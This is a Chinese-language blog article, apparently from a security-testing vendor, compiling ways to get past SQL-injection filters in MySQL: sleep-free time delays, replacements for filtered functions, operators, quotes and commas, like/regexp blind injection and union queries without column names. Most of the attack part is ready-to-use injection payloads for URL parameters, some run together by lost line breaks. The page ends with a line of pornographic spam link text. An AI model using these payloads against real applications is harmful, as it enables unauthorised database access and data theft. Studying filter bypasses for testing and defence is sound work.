1. Sql注入Bypass思路總結(jié)

        共 6951字,需瀏覽 14分鐘

         ·

        2022-09-17 14:35


        STATEMENT

        聲明

        由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),雷神眾測(cè)及文章作者不為此承擔(dān)任何責(zé)任。

        雷神眾測(cè)擁有對(duì)此文章的修改和解釋權(quán)。如欲轉(zhuǎn)載或傳播此文章,必須保證此文章的完整性,包括版權(quán)聲明等全部?jī)?nèi)容。未經(jīng)雷神眾測(cè)允許,不得任意修改或者增減此文章內(nèi)容,不得以任何方式將其用于商業(yè)目的。


        Sleep函數(shù)過(guò)濾繞過(guò)

        笛卡爾積延時(shí)盲注

        count(*) 后面所有表中的列笛卡爾積數(shù),數(shù)量越多耗時(shí)就越多,就會(huì)有延遲:

        benchmark延時(shí)盲注

        benchmark會(huì)重復(fù)執(zhí)行表達(dá)式,以此來(lái)進(jìn)行延時(shí):

        rlike正則語(yǔ)法延時(shí)盲注

        rlike和like的區(qū)別:
        like:

        1. 格式是A like B,其中A是字符串,B是表達(dá)式,表示能否用B去完全匹配A的內(nèi)容,返回的結(jié)果是True/False。

        2. B只能使用簡(jiǎn)單匹配符號(hào) 和%,””表示任意單個(gè)字符,字符”%”表示任意數(shù)量的字符。

        3. like的匹配是按字符逐一匹配的,使用B從A的第一個(gè)字符開始匹配,所以即使有一個(gè)字符不同也不行。

        rlike:

        1. A RLIKE B ,表示B是否在A里面即可。而A LIKE B,則表示B是否是A。

        2. B中的表達(dá)式可以使用JAVA中全部正則表達(dá)式。

        regexp:

        regexp用法類似rlike

        rlike延時(shí)主要利用rpad和lpad函數(shù):
        rpad函數(shù):
        rpad(str1,len,str2)
        用字符串 str2對(duì) str1進(jìn)行右邊填補(bǔ)直至它的長(zhǎng)度達(dá)到len個(gè)字符長(zhǎng)度,然后返回 str1。如果 str1的長(zhǎng)度長(zhǎng)于 len',那么它將被截除到 len個(gè)符。

        lpad同理,是rpad相反的函數(shù)。payload為:

        concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

        這個(gè)payload是什么意思呢?就是從1拼接到999999位a,多重復(fù)幾次,以大量的拼接進(jìn)行延時(shí)操作。

        還有一個(gè)函數(shù)是repeat:
        repeat(str,times) 復(fù)制字符串times次,與之同理進(jìn)行延時(shí)。


        GET_LOCK加鎖延時(shí)注入

        GET_LOCK(key,timeout) 需要兩個(gè)連接會(huì)話
        RELEASE_LOCK(key) 鎖是否釋放,釋放了返回1
        IS_FREE_LOCK(key) 返回當(dāng)前連接ID,表示名稱為'xxxx'的鎖正在被使用。
        key 是鎖的名字,timeout是加鎖等待時(shí)間,時(shí)間內(nèi)未加鎖成功則事件回滾。get_lock 加鎖成功返回1,get_lock會(huì)按照key來(lái)加鎖,別的客戶端再以同樣的key加鎖時(shí)就加不了了,處于等待狀態(tài)。
        在一個(gè)session中鎖定變量,同時(shí)通過(guò)另外一個(gè)session執(zhí)行,將會(huì)產(chǎn)生延時(shí)。

        舉例:


        所以我們可以先執(zhí)行 1' and get_lock(1,2)%23 給key=1上鎖,然后就可以盲注了 1' and if(1,get_lock(1,2),1)%23 再次執(zhí)行同樣的語(yǔ)句會(huì)產(chǎn)生延時(shí) 。


        if函數(shù)過(guò)濾繞過(guò)


        可以使用 i<a>f 繞過(guò)

        case when語(yǔ)句繞過(guò):

        if(condition,1,0) <=> case when condition then 1 else 0 end


        substr函數(shù)過(guò)濾繞過(guò)


        使用lpad()和rpad()繞過(guò)

        select lpad((select database()),1,1)    // sselect lpad((select database()),2,1)    // seselect lpad((select database()),3,1)    // secselect lpad((select database()),4,1)    // secuselect lpad((select database()),5,1)    // securselect lpad((select database()),6,1)    // securiselect lpad((select database()),7,1)    // securitselect lpad((select database()),8,1)    // security
        select rpad((select database()),1,1) // sselect rpad((select database()),2,1) // seselect rpad((select database()),3,1) // secselect rpad((select database()),4,1) // secuselect rpad((select database()),5,1) // securselect rpad((select database()),6,1) // securiselect rpad((select database()),7,1) // securitselect rpad((select database()),8,1) // security


        過(guò)濾and、or繞過(guò)


        常見繞過(guò):

        and => &&
        or => ||


        使用^進(jìn)行異或盲注繞過(guò)

        異或^是一種數(shù)學(xué)運(yùn)算,1^1=0、0^0=0、1^0=1,可知,當(dāng)兩條件相同時(shí)(同真同假)結(jié)果為假,當(dāng)兩條件不同時(shí)(一真一假)結(jié)果為真。所以^可以用來(lái)進(jìn)行sql盲注,并且1^1^1=1、1^0^1=0。


        過(guò)濾括號(hào)繞過(guò)


        使用order by注入

        該方法只適用于表里就一行數(shù)據(jù)的時(shí)候。

        這個(gè)時(shí)候可以使用order by盲注

        使用order by注入的話,要提前知道一個(gè)點(diǎn)就是order by 語(yǔ)句默認(rèn)按照升序?qū)τ涗涍M(jìn)行排序。

        由上圖當(dāng)我們order by第三列也就是password列,select 'a' 時(shí),經(jīng)過(guò)排序單a是在admin123之上,但是select 'b'時(shí),admin123開頭的a的ascii碼是小于b的,所以admin23會(huì)排在第一行。

        所以order by 的主要作用就是讓查詢出來(lái)的數(shù)據(jù)根據(jù)第n列進(jìn)行排序,我們可以使用order by排序比較字符的 ascii 碼大小,從第?位開始比較,第?位相同時(shí)比較下?位。


        過(guò)濾比較符號(hào)(=、<、>)繞過(guò)



        使用in()繞過(guò)

        /?id=' or ascii(substr((select database()),1,1)) in(114)--+    // 錯(cuò)誤/?id=' or ascii(substr((select database()),1,1)) in(115)--+    // 正?;仫@/?id=' or substr((select database()),1,1) in('s')--+    // 正常回顯



        盲注函數(shù)過(guò)濾繞過(guò)

        like注入

        常見盲注函數(shù)比如substr等函數(shù)被過(guò)濾,可以使用like注入。
        在like子句中,百分比(%)通配符允許匹配任何字符串的零個(gè)或多個(gè)字符。下劃線 _ 通配符允許匹配任何單個(gè)字符。匹配成功則返回1,反之返回0,可用于sql盲注。
        1. like 's%' 判斷第一個(gè)字符是否為s

        1 union select 1,database() like 's%',3 --+

        2. like 'se%' 判斷前面兩個(gè)字符串是否為se

        1 union select 1,database() like 'se%',3 --+

        3. like '%sq%' 判斷是否包含“se”這兩個(gè)字符串

        1 union select 1,database() like '%se%',3 --+

        4. like '_____' 判斷是否為5個(gè)字符,可用于判斷長(zhǎng)度

        1 union select 1,database() like '_____',3 --+

        5. like 's____' 判斷第一個(gè)字符是否為s

        1 union select 1,database() like 's____',3 --+

        拿靶場(chǎng)為例:
        1.判斷數(shù)據(jù)庫(kù)長(zhǎng)度

        /?id=' or database() like '________' --+


        /?id=' or database() like 's%' --+也可用/?id=' or database() like 's_______' --+



        regexp注入

        REGEXP注入,即regexp正則表達(dá)式注入。REGEXP注入,又叫盲注值正則表達(dá)式攻擊。應(yīng)用場(chǎng)景就是盲注,原理是直接查詢自己需要的數(shù)據(jù),然后通過(guò)正則表達(dá)式進(jìn)行匹配。

        正常的查詢語(yǔ)句:

        select username from users where id=1;

        正則匹配語(yǔ)句:

        select (select語(yǔ)句) regexp '正則表達(dá)式'

        (1)正則注入匹配select查詢結(jié)果,若匹配到結(jié)果則返回1,未匹配到則返回0

        (2)regexp關(guān)鍵字還可以代替where條件里的等號(hào)(=)
        當(dāng)過(guò)濾了=、in、like等關(guān)鍵字時(shí),我們可以用regexp來(lái)進(jìn)行繞過(guò):

        PS:^若被過(guò)濾,我們還可以使用$來(lái)從后往前進(jìn)行匹配
        select * from users where id=1 union select 1,database() regexp '^s',3;


        /?id=' or (length(database())) regexp 8 --+  // 回顯正常


        /?id=' or database() regexp '^s'--+    // 回顯正常/?id=' or database() regexp 'se'--+    // 回顯正常, 不適用^和$進(jìn)行匹配也可以/?id=' or database() regexp '^sa'--+   // 報(bào)錯(cuò)/?id=' or database() regexp 'y$'--+    // 回顯正常

        類似盲注。可以直接寫個(gè)腳本跑一下就ok。


        過(guò)濾引號(hào)繞過(guò)


        使用反斜杠 \ 逃逸 Sql 語(yǔ)句

        如果沒(méi)有過(guò)濾反斜杠的話,我們可以使用反斜杠將后面的引號(hào)轉(zhuǎn)義,從而逃逸后面的 Sql 語(yǔ)句。

        假設(shè)sql語(yǔ)句為:

        select username, password from users where username='$username' and password='$password';

        假設(shè)輸入的用戶名是 admin\,密碼輸入的是 or 1# 整個(gè)SQL語(yǔ)句變成了

        select username,password from users where username='admin\' and password=' or 1# '

        由于單引號(hào)被轉(zhuǎn)義,and password= 這部分都成了username的一部分,即

        username='admin\' and password='

        這樣 or 1 就逃逸出來(lái)了,由此可控,可作為注入點(diǎn)了。


        過(guò)濾逗號(hào)繞過(guò)

        使用from...for...繞過(guò)

        select substr((select database()) from 1 for 1);# 此時(shí) from 1 for 1 中的兩個(gè)1分別代替 substr() 函數(shù)里的兩個(gè)1
        select substr((select database()) from 1 for 1); # sselect substr((select database()) from 2 for 1); # eselect substr((select database()) from 3 for 1); # cselect substr((select database()) from 4 for 1); # uselect substr((select database()) from 5 for 1); # rselect substr((select database()) from 6 for 1); # iselect substr((select database()) from 7 for 1); # tselect substr((select database()) from 8 for 1); # y
        # 如果過(guò)濾了空格, 則可以使用括號(hào)來(lái)代替空格:select substr((select database())from(1)for(1)); # sselect substr((select database())from(2)for(1)); # eselect substr((select database())from(3)for(1)); # cselect substr((select database())from(4)for(1)); # uselect substr((select database())from(5)for(1)); # rselect substr((select database())from(6)for(1)); # iselect substr((select database())from(7)for(1)); # tselect substr((select database())from(8)for(1)); # y

        使用offset關(guān)鍵字繞過(guò)

        select * from users limit 1 offset 2;# 此時(shí) limit 1 offset 2 可以代替 limit 1,2



        過(guò)濾information_schema繞過(guò)與無(wú)列名注入


        在注入中,infromation_schema庫(kù)的作用主要是可以獲取到table_schema、table_name、column_name這些數(shù)據(jù)庫(kù)內(nèi)的信息。

        能夠代替information_schema的有:

        • sys.schema_auto_increment_columns

        • sys.schema_table_statistics_with_buffer

        • x$schema_table_statistics_with_buffer

        • mysql.innodb_table_stats

        • mysql.innodb_table_index

        以上大部分特殊數(shù)據(jù)庫(kù)都是在 mysql5.7 以后的版本才有,并且要訪問(wèn)sys數(shù)據(jù)庫(kù)需要有相應(yīng)的權(quán)限。

        由于performance_schema過(guò)于發(fā)雜,所以mysql在5.7版本中新增了sys schemma,基礎(chǔ)數(shù)據(jù)來(lái)自于performance_chema和information_schema兩個(gè)庫(kù),本身數(shù)據(jù)庫(kù)不存儲(chǔ)數(shù)據(jù)。

        sys.schema_auto_increment_columns
        該視圖的作用簡(jiǎn)單來(lái)說(shuō)就是用來(lái)對(duì)表自增ID的監(jiān)控。


        ?
        ??sys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffer?
        與sys.schema_auto_increment_columns的區(qū)別就是這兩個(gè)視圖不單單對(duì)自增ID進(jìn)行監(jiān)控,還會(huì)對(duì)非自增進(jìn)行監(jiān)控。

        mysql.innodb_table_stats和mysql.innodb_table_index


        由于本地mysql為5.5就先不測(cè)試innodb了?


        join

        獲取第一列列名。

        ?id=-1' union all select * from (select * from users as a join users as b)as c--+


        普通查詢

        一般的查詢:

        利用union查詢:


        可以看到數(shù)字與列對(duì)應(yīng),所以我們可以利用數(shù)字進(jìn)行數(shù)據(jù)的查詢,例如第三列password:

        當(dāng)反引號(hào) ` 不能使用的時(shí)候,我們可以使用別名來(lái)代替:



        安恒信息

        ?

        杭州亞運(yùn)會(huì)網(wǎng)絡(luò)安全服務(wù)官方合作伙伴

        成都大運(yùn)會(huì)網(wǎng)絡(luò)信息安全類官方贊助商

        武漢軍運(yùn)會(huì)、北京一帶一路峰會(huì)

        青島上合峰會(huì)、上海進(jìn)博會(huì)

        廈門金磚峰會(huì)、G20杭州峰會(huì)

        支撐單位北京奧運(yùn)會(huì)等近百場(chǎng)國(guó)家級(jí)

        重大活動(dòng)網(wǎng)絡(luò)安保支撐單位


        END

        長(zhǎng)按識(shí)別二維碼關(guān)注我們



        瀏覽 270
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
          
          

            1. 男生把裤子脱了吃我的j男男 | 日日噜噜噜噜久久久精品毛片 | 豆花无码 | 99热久 | 99er精品 |